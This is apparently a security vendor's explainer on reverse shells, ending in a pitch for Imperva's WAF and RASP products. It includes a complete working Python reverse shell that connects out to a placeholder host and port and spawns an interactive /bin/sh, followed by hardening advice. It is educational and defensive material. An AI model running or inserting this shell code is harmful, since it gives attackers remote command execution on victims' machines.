What Is a Reverse Shell?
A reverse shell, also known as a remote shell or “connect-back shell,” takes advantage of the target system’s vulnerabilities to initiate a shell session and then access the victim’s computer. The goal is to connect to a remote computer and redirect the input and output connections of the target system’s shell so the attacker can access it remotely.
Reverse shells allow attackers to open ports to the target machines, forcing communication and enabling a complete takeover of the target machine. Therefore it is a severe security threat. This method is also commonly used in penetration tests.
How Does a Reverse Shell Work?
In a standard remote shell attack, attackers connect a machine they control to the target’s remote network host, requesting a shell session. This tactic is known as a bind shell. Attackers can use a reverse shell if a remote host is not publicly accessible (i.e., due to firewall protection or a non-public IP). The target machine initiates the outgoing connection in a reverse shell attack and establishes the shell session with the listening network host.
For hosts protected by a network address translation (NAT), a reverse shell may be necessary for performing maintenance remotely. Although there are legitimate uses for reverse shells, cybercriminals also use them to penetrate protected hosts and perform operating system commands. Reverse shells allow attackers to bypass network security mechanisms like firewalls.
Attackers can achieve reverse shell capabilities via phishing emails or malicious websites. If the victim installs the malware on a local workstation, it initiates an outgoing connection to the attacker’s command server. An outgoing connection often succeeds because firewalls generally filter incoming traffic.
An attacker may exploit command injection vulnerabilities on a server to compromise the system. In the injected code, a reverse shell script provides a command shell enabling additional malicious actions.
Example: Python Reverse Shell
To understand how a reverse shell works, we’ll examine a piece of code that can be used to establish a remote shell on Python:
import socket import subprocess import os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("0.0.0.0", 7777)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(["/bin/sh", "-i"])
Establishing a connection
These two lines are used to establish a connection to Python’s socket module. It creates a socket with an IPv4 address which communicates over TCP.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
This line specifies which IP address and port the socket should listen on:
Overwriting file descriptors
Python’s CLI uses three data streams to handle shell commands: stdin for input data, stdout for output data, and stderr for error messages. Internally these are designated as 0, 1, and 2.
The shell code now uses the dup2 command of the Python os module, which interacts with the operating system.
The following command takes the file descriptor generated by the previous socket command, and duplicates it three times, overwriting the data streams stdin, stdout, and stderr with the reverse shell socket we created. s.fileno() refers to the file descriptor of the socket.
os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2)
Once these commands run, the three data streams of the CLI are redirected to the new socket, and are no longer handled locally.
Spawning the shell
The final stage of the attack is to run the Python subprocess module. This allows the reverse shell to run a program as a subprocess of the socket. The subprocess. call command lets us pass any executable program. By passing /bin/sh, we run a Bash shell as a sub-process of the socket we created.
p = subprocess.call(["/bin/sh", "-i"])
At this point, the shell becomes interactive – any data written to the shell will be written to the terminal and read through the terminal as if it was the main system shell. It is now possible to establish a connection back to the attacker’s machine, and allow them to execute commands remotely on the target machine.
Preventing Reverse Shell
Reverse shell connections are often malicious unless you set them up for the explicit purpose of remote administration. From a server perspective, it is difficult to block all reverse shell connections when using a networked system such as a server. The following steps can help you harden your system and mitigate the risk:
- Lock all outgoing connectivity except for specific ports and remote IP addresses for required services. To achieve this, sandbox or run your servers in minimal containers.
- Set up a proxy server with restricted destinations and tight controls. It is impossible to eliminate the risk, given that attackers can create reverse shell connections over DNS, but this hardening can minimize the risk.
- Remove unnecessary interpreters and tools to restrict the execution of reverse shell code and make it harder for attackers to exploit your system. This approach is not always a viable solution, as it is only practical for highly specialized and hardened servers, while attackers can still find a shell script that works.
- Prevent exploits such as code injection vulnerabilities. Attackers usually execute shell scripts by exploiting an existing code injection vulnerability, then escalating to root privileges. Regularly patch your web applications and servers and use a reliable vulnerability scanner to test them.
There is only so much you can do to harden a server. An additional approach to preventing reverse shell is to block malicious network communication. Web Application Firewalls (WAF) and Runtime Application Self-Protection (RASP) solutions can detect communication patterns that look like a reverse shell connection and block them.
Reverse Shell Protection with Imperva
Imperva’s Web Application Firewall prevents reverse shell attacks with world-class analysis of traffic to your servers. The WAF can detect malicious reverse shell traffic and block it before it leaves your server.
Imperva also provides Runtime Application Self-Protection (RASP) – real-time attack detection and prevention from your runtime environment. RASP can help stop external attacks and injections and protect against existing vulnerabilities.
In addition, Imperva provides comprehensive protection for applications, APIs, and microservices:
API Security – Automated API protection ensures your API endpoints are protected as they are published, shielding your applications from exploitation.
Advanced Bot Protection – Prevent business logic attacks from all access points – websites, mobile apps and APIs. Gain seamless visibility and control over bot traffic to stop online fraud through account takeover or competitive price scraping.
DDoS Protection – Block attack traffic at the edge to ensure business continuity with guaranteed uptime and no performance impact. Secure your on premises or cloud-based assets – whether you’re hosted in AWS, Microsoft Azure, or Google Public Cloud.
Attack Analytics – Ensures complete visibility with machine learning and domain expertise across the application security stack to reveal patterns in the noise and detect application attacks, enabling you to isolate and prevent attack campaigns.